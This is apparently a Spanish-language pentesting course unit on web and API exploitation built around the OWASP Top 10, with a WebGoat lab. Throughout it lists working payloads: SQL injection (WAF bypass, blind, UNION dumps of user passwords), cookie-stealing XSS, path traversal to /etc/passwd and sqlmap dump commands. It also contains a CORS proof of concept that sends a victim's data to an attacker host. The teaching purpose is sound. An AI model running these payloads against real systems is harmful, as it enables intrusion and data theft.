Unidad 3: Explotación Web y APIs 2026 🕷️

Explotación Web

🎯 Objetivos de Aprendizaje

  • Identificar 🔍 y explotar vulnerabilidades web modernas según OWASP Top 10.
  • Auditar 🛠️ APIs REST y GraphQL identificando vulnerabilidades específicas.
  • Ejecutar ⚔️ ataques avanzados como XSS, SQLi y bypasses de seguridad.
  • Aplicar 🛡️ técnicas de pentesting web con herramientas profesionales.

📚 Contenido Teórico

3.1 OWASP Top 10 2025 🔐

El OWASP Top 10 es la referencia fundamental para seguridad web. La versión 2025 incluye:

# Categoría Descripción Severidad
A01 Broken Access Control Deficiencias en controls de autorización Crítica 🔴
A02 Cryptographic Failures Fallos en cifrado de datos sensibles Alta 🟠
A03 Injection 💉 Inyección SQL, NoSQL, OS command Crítica 🔴
A04 Insecure Design Falta de diseño seguro Alta 🟠
A05 Security Misconfiguration 🛠️ Configuraciones inseguras Media 🟡
A06 Vulnerable Components Componentes con vulnerabilidades Alta 🟠
A07 Auth Failures 🔐 Fallos en autenticación/gestión de sesiones Alta 🟠
A08 Data Integrity Failures Fallos en integridad de software/datos Media 🟡
A09 Security Logging Failures Logs insuficientes para detección Media 🟡
A10 SSRF 🕷️ Server-Side Request Forgery Alta 🟠

A01: Broken Access Control 🛡️

Concepto: El usuario puede actuar fuera de su intención autorizada.

Ejemplos de ataque ⚔️: - Elevación de privilegios horizontal/vertical - IDOR (Insecure Direct Object Reference) 🐛 - Bypass de restricciones URL - Acceso a API sin verificación

Payloads de prueba 🛠️:

# IDOR
GET /api/user/1234  → GET /api/user/1235

# Bypass
GET /admin/deleteUser → POST /admin/deleteUser?_method=DELETE

# Path traversal
GET /files/../../etc/passwd

A02: Cryptographic Failures 🔐

Concepto: Fallos en la protección de datos sensibles.

Vulnerabilidades comunes 🐛: - Algoritmos débiles (MD5, SHA1) - Claves por defecto - Ausencia de cifrado - Certificados inválidos

Detección 🔍:

# SSL scan
sslscan target.com

# Test de certificados
curl -kv https://target.com

A03: Injection 💉

Concepto: Envío de datos no confiables a un interprete.

Tipos: - SQL Injection 🗄️ - NoSQL Injection - OS Command Injection 💻 - LDAP Injection - XPath Injection

SQLi básico:

' OR '1'='1
' UNION SELECT NULL--
' AND 1=1--

SQLi bypass WAF 🚀:

/*!50000UNION*/ SELECT
/**/UNION/**/SELECT
%0aUNION%0aSELECT

A04: Insecure Design 📐

Falta de modelo de amenazas 🐛, no solo código inseguro: - Ausencia de revisión de diseño - APIs sin rate limiting - Procesos de negocio inseguros - Falta de segregación de datos

A05: Security Misconfiguration 🛠️

  • Headers de seguridad faltantes
  • Debug enabled en producción
  • Paneles admin accesibles
  • Credenciales por defecto

Verificación 🔍:

# Headers de seguridad
curl -I https://target.com

# Información de versión
curl -v https://target.com

3.2 APIs Security 🔐

REST API Vulnerabilities 🕷️

Vulnerabilidad Descripción Impacto
BOLA Broken Object Level Authorization Acceso a datos de otros ⚠️
BFLA Broken Function Level Authorization Ejecución de funciones no autorizadas ⚠️
BEE Bulk Assignment Exposición masiva de campos
Mass Assignment Asignación masiva Modificación de datos protegidos

Testing 🛠️:

# Enumerar métodos
curl -X OPTIONS https://api.target.com -v

# BOLA - modificar ID
curl -X GET https://api.target.com/users/1
curl -X GET https://api.target.com/users/2

GraphQL Injection 💉

Introspection enabled 🔍:

query {
  __schema {
    types {
      name
      fields {
        name
      }
    }
  }
}

Injection ⚔️:

query {
  user(id: "1' OR '1'='1") {
    name
  }
}

Bypass de depth limiting 🚀:

query {
  users1 { name }
  users2 { name }
  # ... múltiples anidados
}

API Authentication Bypass 🔐

  • JWTNone algorithm 🐛
  • Weak JWT signing keys
  • Token expiration not verified
  • OAuth misconfigurations

JWT attack 💰:

# Cambiar alg a "none"
{"alg": "none", "typ": "JWT"}

3.3 Web Attacks 🕷️

XSS Avanzado 🚀

Tipos: - Reflected XSS - Stored XSS - DOM-based XSS - Self-XSS - Mutation XSS

Payloads ⚔️:

<script>alert(document.cookie)</script>
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(document.cookie)">

DOM-based 🐛:

// URL: example.com/search?q=<img src=x onerror=alert(1)>
document.write(location.search);

SQL Injection 💉 — Técnicas Avanzadas 🚀

SQLi clásico y variantes de bypass:

' OR 1=1--
' OR 'a'='a
' OR 1=1 #
" OR "1"="1
/**/UNION/**/SELECT/**/

Blind SQLi basado en tiempo (Time-Based) ⏱️:

Cuando la aplicación no devuelve datos ni errores visibles, se puede inferir información midiendo el tiempo de respuesta del servidor.

-- MySQL: condicional de 5 segundos si el primer char del usuario es 'a'
' AND IF(SUBSTRING(user(),1,1)='a', SLEEP(5), 0)--

-- MSSQL
' WAITFOR DELAY '0:0:5'--

-- PostgreSQL
'; SELECT pg_sleep(5)--

-- Oracle
' AND 1=(SELECT 1 FROM DUAL WHERE ROWNUM=1 AND (SELECT UPPER(banner) FROM v$version WHERE ROWNUM=1) LIKE 'ORACLE%')--

Blind SQLi basado en errores (Error-Based) 💥:

-- MySQL: extrae la versión provocando un error XPATH
' AND extractvalue(1, concat(0x7e, version()))--

-- MSSQL: extrae el nombre de la base de datos
' AND 1=CONVERT(int,(SELECT DB_NAME()))--

-- Oracle: CTXSYS.DRITHSX.SN no existe → el mensaje de error incluye el valor
' AND 1=CTXSYS.DRITHSX.SN(user,1)--

Extracción de datos con UNION SELECT 📊:

-- 1. Detectar número de columnas
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--   ← error aquí → hay 2 columnas

-- 2. Identificar columnas con tipo string
' UNION SELECT NULL, NULL--
' UNION SELECT 'a', NULL--

-- 3. Extraer datos
' UNION SELECT table_name, NULL FROM information_schema.tables--
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT username, password FROM users--

Automatización con SQLmap 🛠️:

# Detección básica
sqlmap -u "http://target.com/item?id=1"

# POST form
sqlmap -u "http://target.com/login" --data="user=admin&pass=test"

# Dump de base de datos
sqlmap -u "http://target.com/item?id=1" --dbs
sqlmap -u "http://target.com/item?id=1" -D dbname --tables
sqlmap -u "http://target.com/item?id=1" -D dbname -T users --dump

# Bypass WAF con tamper scripts
sqlmap -u "http://target.com/item?id=1" --tamper=space2comment,charencode

CSRF y CORS 🛡️

CSRF Token bypass 🐛: - Token en GET (visible en URL) - Token no ligado a sesión - Predictable token

CORS Misconfiguration ⚠️:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Seguridad de APIs 🛡️ — Configuraciones Erróneas Comunes 🐛

CORS mal configurado — explotación ⚔️:

Si el servidor acepta cualquier origen con credenciales, un atacante puede leer respuestas de API autenticadas:

// PoC: leer /api/me desde origen del atacante
fetch('https://victima.com/api/me', {credentials: 'include'})
  .then(r => r.json())
  .then(d => fetch('https://atacante.com/exfil?d=' + JSON.stringify(d)));

Detección de CORS 🔍:

curl -H "Origin: https://evil.com" -I https://api.target.com/endpoint
# Buscar: Access-Control-Allow-Origin: https://evil.com
# Buscar: Access-Control-Allow-Credentials: true

Security Headers ausentes 🔐 — verificación rápida 🔍:

curl -I https://target.com | grep -iE "x-frame-options|content-security-policy|x-content-type|strict-transport"

Headers críticos 🛡️: - Content-Security-Policy 🛡️: previene XSS - X-Frame-Options: DENY: previene clickjacking - X-Content-Type-Options: nosniff: previene MIME sniffing - Strict-Transport-Security 🔐: fuerza HTTPS


🛠️ Herramientas

Herramienta Propósito Instalación
Burp Suite Community 🕷️ Proxy web java -jar burpsuite_community.jar
OWASP ZAP 🔍 Scanner automatizado zaproxy.org
SQLmap 💉 SQL Injection automation sqlmap -u target
ffuf 🎯 Fuzzing web ffuf -u target/FUZZ
Postman 🧪 Testing de APIs postman.com
Nikto 🔍 Scanner de vulnerabilidades nikto -h target
Amass 🔍 Enumeración de subdominios amass enum -d target

🔬 Laboratorio

Ver labs/lab-unidad3.md para el escenario completo.

Escenario 🎯: Auditear OWASP WebGoat o aplicación vulnerable en Docker. Cubrir: - SQLi 💉 en formularios de login - XSS 🕷️ reflected y stored - IDOR 🐛 en cambia de perfil - GraphQL 💉 introspection y injection

Entregable 📄: Reporte técnico con hallazgos, PoC y recomendaciones.


📚 Recursos Adicionales


📚 Bibliografía